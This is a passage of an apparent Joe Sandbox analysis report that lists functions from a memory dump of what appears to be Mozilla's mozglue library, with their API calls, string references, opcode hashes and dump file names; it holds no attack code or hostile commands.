Part of subcall function 6C975E90: memset.VCRUNTIME140(6C9B7765,000000E5,55CCCCCC), ref: 6C975F27
Part of subcall function 6C975E90: LeaveCriticalSection.KERNEL32(?), ref: 6C975FB2

free.MOZGLUE ref: 6C9A0DDD
free.MOZGLUE ref: 6C9A0DF2

Memory Dump Source

Source File: 00000001.00000002.2781618305.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2781550873.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781761168.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781842077.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781907799.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: free$CriticalSectionstrlen$EnterImpl@detail@mozilla@@LeaveMutexmemset
String ID:
API String ID: 4069420150-0
Opcode ID: 0d978a4cfd0547df25233c8c2ea475f30d0db58acc2b2a11a62c3ee0755f98d6
Instruction ID: 8b6228db4b23bef3e1e6a4d1db5b717f2f806b281f9c4a3e2c91d2a6705c6c9f
Opcode Fuzzy Hash: 0d978a4cfd0547df25233c8c2ea475f30d0db58acc2b2a11a62c3ee0755f98d6
Instruction Fuzzy Hash: 8A413572A097809BD320CF29C08039EFBE5BF98614F119A2EE8D987B50D770E445CB82

Function 6C990800 Relevance: 6.3, APIs: 5, Instructions: 71COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C9DE7DC), ref: 6C990838
memset.VCRUNTIME140(?,00000000,00000158), ref: 6C99084C
EnterCriticalSection.KERNEL32(?), ref: 6C9908AF
LeaveCriticalSection.KERNEL32(?), ref: 6C9908BD
LeaveCriticalSection.KERNEL32(6C9DE7DC), ref: 6C9908D5

Memory Dump Source

Source File: 00000001.00000002.2781618305.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2781550873.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781761168.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781842077.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781907799.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memset
String ID:
API String ID: 837921583-0
Opcode ID: 847f76282d066539a08ffb6f0fd6e8202346187db3a98a0fe5eb6cef1808141d
Instruction ID: 5d66724608351e1b8e152e020084574ade333fcedd537deb69491c5a7c919f5d
Opcode Fuzzy Hash: 847f76282d066539a08ffb6f0fd6e8202346187db3a98a0fe5eb6cef1808141d
Instruction Fuzzy Hash: EB21B331B0564A9BEB048F66D844BAEB779AF49708F680568D519B7A40DB32E844CBD0

Function 6C9ACCF0 Relevance: 6.3, APIs: 4, Instructions: 299COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(000000E0,00000000,?,6C99DA31,00100000,?,?,00000000,?), ref: 6C9ACDA4

Part of subcall function 6C96CA10: malloc.MOZGLUE(?), ref: 6C96CA26

Part of subcall function 6C9AD130: InitializeConditionVariable.KERNEL32(00000010,00020000,00000000,00100000,?,6C9ACDBA,00100000,?,00000000,?,6C99DA31,00100000,?,?,00000000,?), ref: 6C9AD158
Part of subcall function 6C9AD130: InitializeConditionVariable.KERNEL32(00000098,?,6C9ACDBA,00100000,?,00000000,?,6C99DA31,00100000,?,?,00000000,?), ref: 6C9AD177

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE(?,?,00000000,?,6C99DA31,00100000,?,?,00000000,?), ref: 6C9ACDC4

Part of subcall function 6C9A7480: ReleaseSRWLockExclusive.KERNEL32(?,6C9B15FC,?,?,?,?,6C9B15FC,?), ref: 6C9A74EB

moz_xmalloc.MOZGLUE(00000014,?,?,?,00000000,?,6C99DA31,00100000,?,?,00000000,?), ref: 6C9ACECC

Part of subcall function 6C96CA10: mozalloc_abort.MOZGLUE(?), ref: 6C96CAA2

Part of subcall function 6C99CB30: floor.API-MS-WIN-CRT-MATH-L1-1-0(?,?,00000000,?,6C9ACEEA,?,?,?,?,00000000,?,6C99DA31,00100000,?,?,00000000), ref: 6C99CB57
Part of subcall function 6C99CB30: _beginthreadex.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000,00000000,6C99CBE0,00000000,00000000,00000000,?,?,?,?,00000000,?,6C9ACEEA,?,?), ref: 6C99CBAF

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,00000000,?,6C99DA31,00100000,?,?,00000000,?), ref: 6C9AD058

Memory Dump Source

Source File: 00000001.00000002.2781618305.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2781550873.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781761168.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781842077.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781907799.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: ConditionInitializeVariablemoz_xmalloc$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedExclusiveLockProfileRelease_beginthreadexfloormallocmozalloc_aborttolower
String ID:
API String ID: 861561044-0
Opcode ID: 21ab459e2694be5d92007f9fc188c5177eff413676b63e37775e5b056bf0d785
Instruction ID: e13b5ba873cb11a38f191cfca532ba899a9c01f1d82dbc39d27802f7eb277510
Opcode Fuzzy Hash: 21ab459e2694be5d92007f9fc188c5177eff413676b63e37775e5b056bf0d785
Instruction Fuzzy Hash: ECD16F71A04B56DFD708CF28C4807A9F7E1BF99308F05862DD8598B751EB31E9A5CB81

Function 6C961720 Relevance: 6.2, APIs: 4, Instructions: 218COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,?), ref: 6C9617B2
memset.VCRUNTIME140(?,00000000,?,?), ref: 6C9618EE
free.MOZGLUE(?), ref: 6C961911
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C96194C

Memory Dump Source

Source File: 00000001.00000002.2781618305.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2781550873.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781761168.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781842077.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781907799.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturnfreememcpymemset
String ID:
API String ID: 3725304770-0
Opcode ID: 12d6be15841c6c0ece9b719a04f1b84cbad1ca020cf3b534e317b819b391aeff
Instruction ID: e1d8d6752d8c89da296225dcf8104f89744ad6ff8dd53e8bf47747fb72a66d02
Opcode Fuzzy Hash: 12d6be15841c6c0ece9b719a04f1b84cbad1ca020cf3b534e317b819b391aeff
Instruction Fuzzy Hash: A181E770A152059FDB08CF69D8D45BEBBB1FF8A310F04456DE811ABB90D730E854CBA2

Function 6C975C50 Relevance: 6.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

GetTickCount64.KERNEL32 ref: 6C975D40
EnterCriticalSection.KERNEL32(6C9DF688), ref: 6C975D67
__aulldiv.LIBCMT ref: 6C975DB4
LeaveCriticalSection.KERNEL32(6C9DF688), ref: 6C975DED

Memory Dump Source

Source File: 00000001.00000002.2781618305.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2781550873.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781761168.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781842077.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781907799.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: CriticalSection$Count64EnterLeaveTick__aulldiv
String ID:
API String ID: 557828605-0
Opcode ID: 1848d507069d5ab967d3f2ef7fb882371dae29ac8d10ad724a742759ff74307b
Instruction ID: 1f87f39f8e3ef7c84aa57ec3eef4dbb2e3f64417e9166057b9da5a500d700b55
Opcode Fuzzy Hash: 1848d507069d5ab967d3f2ef7fb882371dae29ac8d10ad724a742759ff74307b
Instruction Fuzzy Hash: 77518D71E055198FCF08CF68C955BAEBBB1FB89308F298619D811B7B50C730B985CB90

Function 6C95CDF0 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 128COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,-000000EA,?,?,?,?,?,?,?,?,?,?,?), ref: 6C95CEBD
memcpy.VCRUNTIME140(?,?,?,?,?,?,?), ref: 6C95CEF5
memset.VCRUNTIME140(-000000E5,00000030,?,?,?,?,?,?,?,?), ref: 6C95CF4E

Strings

0, xrefs: 6C95CF30

Memory Dump Source

Source File: 00000001.00000002.2781618305.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2781550873.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781761168.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781842077.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781907799.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: memcpy$memset
String ID: 0
API String ID: 438689982-4108050209
Opcode ID: 0e851ffa705033111940aa1c33e4e3d91d700d23ea7ee9f0b9783dfe3b6a0d03
Instruction ID: dc4f0ea235c2803fa0aad74319c0a12519226d35278ffde2eabba60f27fc35f0
Opcode Fuzzy Hash: 0e851ffa705033111940aa1c33e4e3d91d700d23ea7ee9f0b9783dfe3b6a0d03
Instruction Fuzzy Hash: CE510375A042568FCB00CF18C890A9ABBB5EF99300F19859DDC595F751D731ED16CBE0

Function 6C9B77D0 Relevance: 6.1, APIs: 4, Instructions: 113stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C9B77FA
?StringToDouble@StringToDoubleConverter@double_conversion@@QBENPBDHPAH@Z.MOZGLUE(00000001,00000000,?), ref: 6C9B7829

Part of subcall function 6C98CC38: GetCurrentProcess.KERNEL32(?,?,?,?,6C9531A7), ref: 6C98CC45
Part of subcall function 6C98CC38: TerminateProcess.KERNEL32(00000000,00000003,?,?,?,?,6C9531A7), ref: 6C98CC4E

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6C9B789F
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6C9B78CF

Part of subcall function 6C954DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C954E5A
Part of subcall function 6C954DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C954E97

Part of subcall function 6C954290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C993EBD,6C993EBD,00000000), ref: 6C9542A9

Memory Dump Source

Source File: 00000001.00000002.2781618305.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2781550873.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781761168.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781842077.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781907799.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$DtoaProcessstrlen$Ascii@Builder@2@Builder@2@@Converter@CreateCurrentDecimalDouble@EcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestTerminateV12@
String ID:
API String ID: 2525797420-0
Opcode ID: caf3e7704822f2addaf2677514d346225285f95a206d5c06274acda0d33bd75b
Instruction ID: f052142582ff73968bc6d3a7b89b9dc90c6ff24a43dcf738ae1e8fc1bf822f00
Opcode Fuzzy Hash: caf3e7704822f2addaf2677514d346225285f95a206d5c06274acda0d33bd75b
Instruction Fuzzy Hash: 2241A171904B469BD300DF29C48056BFBF4FF9A254F604B2EE4A997680DB30E559CB92

Function 6C996470 Relevance: 6.1, APIs: 4, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000200,?,?,?,?,?,?,?,?,?,?,?,?,6C9982BC,?,?), ref: 6C99649B

Part of subcall function 6C96CA10: malloc.MOZGLUE(?), ref: 6C96CA26

memset.VCRUNTIME140(00000000,00000000,00000200,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C9964A9

Part of subcall function 6C98FA80: GetCurrentThreadId.KERNEL32 ref: 6C98FA8D
Part of subcall function 6C98FA80: AcquireSRWLockExclusive.KERNEL32(6C9DF448), ref: 6C98FA99

ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C99653F
free.MOZGLUE(?), ref: 6C99655A

Memory Dump Source

Source File: 00000001.00000002.2781618305.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2781550873.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781761168.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781842077.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781907799.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfreemallocmemsetmoz_xmalloc
String ID:
API String ID: 3596744550-0
Opcode ID: 78b174288c16fb3899ff68a040e3794a56d5920168d6b753a99ca4954e498543
Instruction ID: 5d1ed47b612aaa19d3445733a6fce65672bf1dbe08f0c3282fef5dc97e92502d
Opcode Fuzzy Hash: 78b174288c16fb3899ff68a040e3794a56d5920168d6b753a99ca4954e498543
Instruction Fuzzy Hash: 8B317EB5A08705AFD740CF14D880A9ABBF4BFA8314F10482EE85A97740DB30E919CB92

Function 6C98FF60 Relevance: 6.1, APIs: 4, Instructions: 83COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,80000001,80000000,?,6C9AD019,?,?,?,?,?,00000000,?,6C99DA31,00100000,?), ref: 6C98FFD3
memcpy.VCRUNTIME140(00000000,?,?,?,6C9AD019,?,?,?,?,?,00000000,?,6C99DA31,00100000,?,?), ref: 6C98FFF5
free.MOZGLUE(?,?,?,?,?,6C9AD019,?,?,?,?,?,00000000,?,6C99DA31,00100000,?), ref: 6C99001B
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,6C9AD019,?,?,?,?,?,00000000,?,6C99DA31,00100000,?,?), ref: 6C99002A

Memory Dump Source

Source File: 00000001.00000002.2781618305.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2781550873.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781761168.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781842077.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781907799.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: memcpy$_invalid_parameter_noinfo_noreturnfree
String ID:
API String ID: 826125452-0
Opcode ID: d1e9a6697ef0f8e2fdef3903f4ecd0da94cf41952a868af1e85a09b52c30ccae
Instruction ID: f4e5e0f5c16f909b7cb312d189a806363e8cca5c1bbd63e2f55b1bae78501e82
Opcode Fuzzy Hash: d1e9a6697ef0f8e2fdef3903f4ecd0da94cf41952a868af1e85a09b52c30ccae
Instruction Fuzzy Hash: 092108B2B002155BC7089E7C9C948AFB7BAFB993283250738D425D7780EB30DD1186E1

Function 6C96B4E0 Relevance: 6.1, APIs: 4, Instructions: 54threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C96B4F5
AcquireSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C96B502
ReleaseSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C96B542
free.MOZGLUE(?), ref: 6C96B578

Memory Dump Source

Source File: 00000001.00000002.2781618305.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2781550873.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781761168.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781842077.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781907799.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: 413b91b72791cdf31f6e5a20aea3889f753af2122a8e2120a1d9d3bf3532e05d
Instruction ID: 0894c2c953dea2b7385df97e14bc304ed39d16faa6129f7da71c1011abd265c9
Opcode Fuzzy Hash: 413b91b72791cdf31f6e5a20aea3889f753af2122a8e2120a1d9d3bf3532e05d
Instruction Fuzzy Hash: 36118C31A08F45C7E7218F2AC8047A5B3B5FFA6319F24970AE84963E01FBB1F1C59691

Function 6C993DE0 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,6C95F20E,?), ref: 6C993DF5
fputs.API-MS-WIN-CRT-STDIO-L1-1-0(6C95F20E,00000000,?), ref: 6C993DFC
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C993E06
fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,00000000), ref: 6C993E0E

Part of subcall function 6C98CC00: GetCurrentProcess.KERNEL32(?,?,6C9531A7), ref: 6C98CC0D
Part of subcall function 6C98CC00: TerminateProcess.KERNEL32(00000000,00000003,?,?,6C9531A7), ref: 6C98CC16

Memory Dump Source

Source File: 00000001.00000002.2781618305.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2781550873.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781761168.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781842077.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781907799.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: Process__acrt_iob_func$CurrentTerminatefputcfputs
String ID:
API String ID: 2787204188-0
Opcode ID: 1780f16c9e4972a978fc2bac2f17faf98be9e3e029178694cfe04844e1628a54
Instruction ID: 82f8c848c077912729aa79f4c00a0283270150cdbdaa2a7c1ece37f49bf143a2
Opcode Fuzzy Hash: 1780f16c9e4972a978fc2bac2f17faf98be9e3e029178694cfe04844e1628a54
Instruction Fuzzy Hash: 57F012716002087BDB00AB54DC81DAB376DEF56628F140420FD0957741D635FE6596F7

Function 6C9A20B0 Relevance: 6.0, APIs: 4, Instructions: 28threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C9A20B7
AcquireSRWLockExclusive.KERNEL32(00000000,?,6C98FBD1), ref: 6C9A20C0
ReleaseSRWLockExclusive.KERNEL32(00000000,?,6C98FBD1), ref: 6C9A20DA
free.MOZGLUE(00000000,?,6C98FBD1), ref: 6C9A20F1

Memory Dump Source

Source File: 00000001.00000002.2781618305.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2781550873.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781761168.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781842077.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781907799.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: 98e032636ff37c3595b6f6039d7dce6c37bc0714a5563ed82be1aebd06bb9ba7
Instruction ID: dffe14cf7f10b13ba22c6fcd429b6cdec438255aa13afdc113a47be198ebd7f5
Opcode Fuzzy Hash: 98e032636ff37c3595b6f6039d7dce6c37bc0714a5563ed82be1aebd06bb9ba7
Instruction Fuzzy Hash: 43E0E531608E259BC3209F26980854EB7F9EF96218B20022AE50AD3B00DB75F58686E6

Function 6C9A85B0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 133COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000028,?,?,?), ref: 6C9A85D3

Part of subcall function 6C96CA10: malloc.MOZGLUE(?), ref: 6C96CA26

?_Xlength_error@std@@YAXPBD@Z.MSVCP140(map/set<T> too long,?,?,?), ref: 6C9A8725

Strings

map/set<T> too long, xrefs: 6C9A8720

Memory Dump Source

Source File: 00000001.00000002.2781618305.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2781550873.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781761168.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781842077.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781907799.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: Xlength_error@std@@mallocmoz_xmalloc
String ID: map/set<T> too long
API String ID: 3720097785-1285458680
Opcode ID: d388070a54c6fb628f315dcb6579e435a8d66e584e0028e601dd40f85569fcc6
Instruction ID: 78abb823d426034734ac82ea2d71a2a9e40651a0948d6a7529e1d0d1c1036994
Opcode Fuzzy Hash: d388070a54c6fb628f315dcb6579e435a8d66e584e0028e601dd40f85569fcc6
Instruction Fuzzy Hash: 3F518774A00685CFE709CF58C084B65BBF1BF59318F19C19AD8595BB62C334E846CF96

Function 6C95BD40 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 115COMMON

Download Yara Rule

APIs

?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(00000000,?,?,?,?), ref: 6C95BDEB
?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6C95BE8F

Strings

0, xrefs: 6C95BE5B

Memory Dump Source

Source File: 00000001.00000002.2781618305.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2781550873.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781761168.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781842077.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781907799.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@Double$CreateDecimalHandleRepresentation@SpecialValues@
String ID: 0
API String ID: 2811501404-4108050209
Opcode ID: 3bb851d4a24a3c94b1b57a50d7ada213a41af0139628a2820582b090ee4dd058
Instruction ID: 224e669c214a6a55e36c1d0313d10456ede9b70068a574a7b6ec19c97907299e
Opcode Fuzzy Hash: 3bb851d4a24a3c94b1b57a50d7ada213a41af0139628a2820582b090ee4dd058
Instruction Fuzzy Hash: 1A41A271A09749CFC701CF38C481A9BB7F4AF9A348F448A1DF985A7611D731E969CB82

Function 6C993CF0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C993D19
mozalloc_abort.MOZGLUE(?), ref: 6C993D6C

Strings

d, xrefs: 6C993D58

Memory Dump Source

Source File: 00000001.00000002.2781618305.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2781550873.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781761168.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781842077.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781907799.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: _errnomozalloc_abort
String ID: d
API String ID: 3471241338-2564639436
Opcode ID: c497ee272bd85c0a2daa55b3ce090610ba1680cd56dfeb06f20d4e29927c36ef
Instruction ID: ae06156d6bacca7e9dd5d9bb8c3e17f4f1e599da0bbb2d82f8cd29c6ab0d3005
Opcode Fuzzy Hash: c497ee272bd85c0a2daa55b3ce090610ba1680cd56dfeb06f20d4e29927c36ef
Instruction Fuzzy Hash: BD11C836E08688D7DB009F69CC244EDB779FF96218B499219DC49A7621EB30E6C4C350

Function 6C964730 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6C9644B2,6C9DE21C,6C9DF7F8), ref: 6C96473E
GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6C96474A

Strings

GetNtLoaderAPI, xrefs: 6C964744

Memory Dump Source

Source File: 00000001.00000002.2781618305.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2781550873.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781761168.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781842077.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781907799.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: GetNtLoaderAPI
API String ID: 1646373207-1628273567
Opcode ID: 8c30f4870fa00abb936e6fa3bad4116a238399edea6652f99df304fd981a1bab
Instruction ID: f1cda16d695908bbd307540fdb4711dc50a4806afec0f63a8687042f72b68fbf
Opcode Fuzzy Hash: 8c30f4870fa00abb936e6fa3bad4116a238399edea6652f99df304fd981a1bab
Instruction Fuzzy Hash: E7019275708754CFDF00AFA68854619BBB9EF8B761B154469EA06D7740CB70E801CFA2

Function 6C9B6DE0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 30COMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_DISABLE_WALKTHESTACK), ref: 6C9B6E22
__Init_thread_footer.LIBCMT ref: 6C9B6E3F

Strings

MOZ_DISABLE_WALKTHESTACK, xrefs: 6C9B6E1D

Memory Dump Source

